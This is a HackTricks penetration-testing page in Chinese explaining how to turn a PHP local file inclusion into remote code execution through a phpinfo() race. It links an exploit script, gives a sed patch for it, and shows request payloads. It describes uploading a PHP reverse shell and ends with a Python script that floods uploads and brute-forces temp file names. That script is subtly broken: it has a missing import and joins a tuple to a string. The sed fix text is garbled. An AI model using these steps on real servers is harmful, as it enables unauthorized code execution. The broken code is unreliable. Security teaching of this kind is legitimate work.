hacktricks/src/pentesting-web/file-inclusion/lfi2rce-via-phpinfo.md

2.8 KiB
Raw Blame History

{{#include ../../banners/hacktricks-training.md}}

要利用此漏洞,您需要:一个 LFI 漏洞,一个显示 phpinfo() 的页面“file_uploads = on”并且服务器必须能够在“/tmp”目录中写入。

https://www.insomniasec.com/downloads/publications/phpinfolfi.py

教程 HTB: https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s

您需要修复漏洞(将 => 更改为 =>)。为此,您可以执行:

sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\&gt/g' phpinfolfi.py

您还需要更改利用的payload例如php-rev-shellREQ1这应该指向phpinfo页面并包含填充REQ1="""POST /install.php?mode=phpinfo&a="""+padding+""" HTTP/1.1),以及LFIREQ这应该指向LFI漏洞LFIREQ="""GET /info?page=%s%%00 HTTP/1.1\r -- 检查利用空字符时的双“%”)

{{#file}} LFI-With-PHPInfo-Assistance.pdf {{#endfile}}

理论

如果在PHP中允许上传文件并且您尝试上传文件则这些文件会存储在临时目录中直到服务器处理完请求然后这些临时文件会被删除。

然后如果您在Web服务器中发现了LFI漏洞您可以尝试猜测创建的临时文件的名称并在文件被删除之前通过访问临时文件来利用RCE。

Windows中,文件通常存储在C:\Windows\temp\php

linux中,文件的名称通常是随机的,位于**/tmp**。由于名称是随机的,因此需要从某处提取临时文件的名称并在文件被删除之前访问它。这可以通过读取函数“phpconfig()”中变量$_FILES的值来完成。

phpinfo()

PHP使用4096B的缓冲区,当它时,它会发送给客户端。然后客户端可以发送 大量大请求(使用大头部)上传一个php反向shell,等待phpinfo()的第一部分返回其中包含临时文件的名称并尝试在php服务器删除文件之前通过利用LFI漏洞访问临时文件

尝试暴力破解名称的Python脚本如果长度=6

import itertools
import requests
import sys

print('[+] Trying to win the race')
f = {'file': open('shell.php', 'rb')}
for _ in range(4096 * 4096):
requests.post('http://target.com/index.php?c=index.php', f)


print('[+] Bruteforcing the inclusion')
for fname in itertools.combinations(string.ascii_letters + string.digits, 6):
url = 'http://target.com/index.php?c=/tmp/php' + fname
r = requests.get(url)
if 'load average' in r.text:  # <?php echo system('uptime');
print('[+] We have got a shell: ' + url)
sys.exit(0)

print('[x] Something went wrong, please try again')

{{#include ../../banners/hacktricks-training.md}}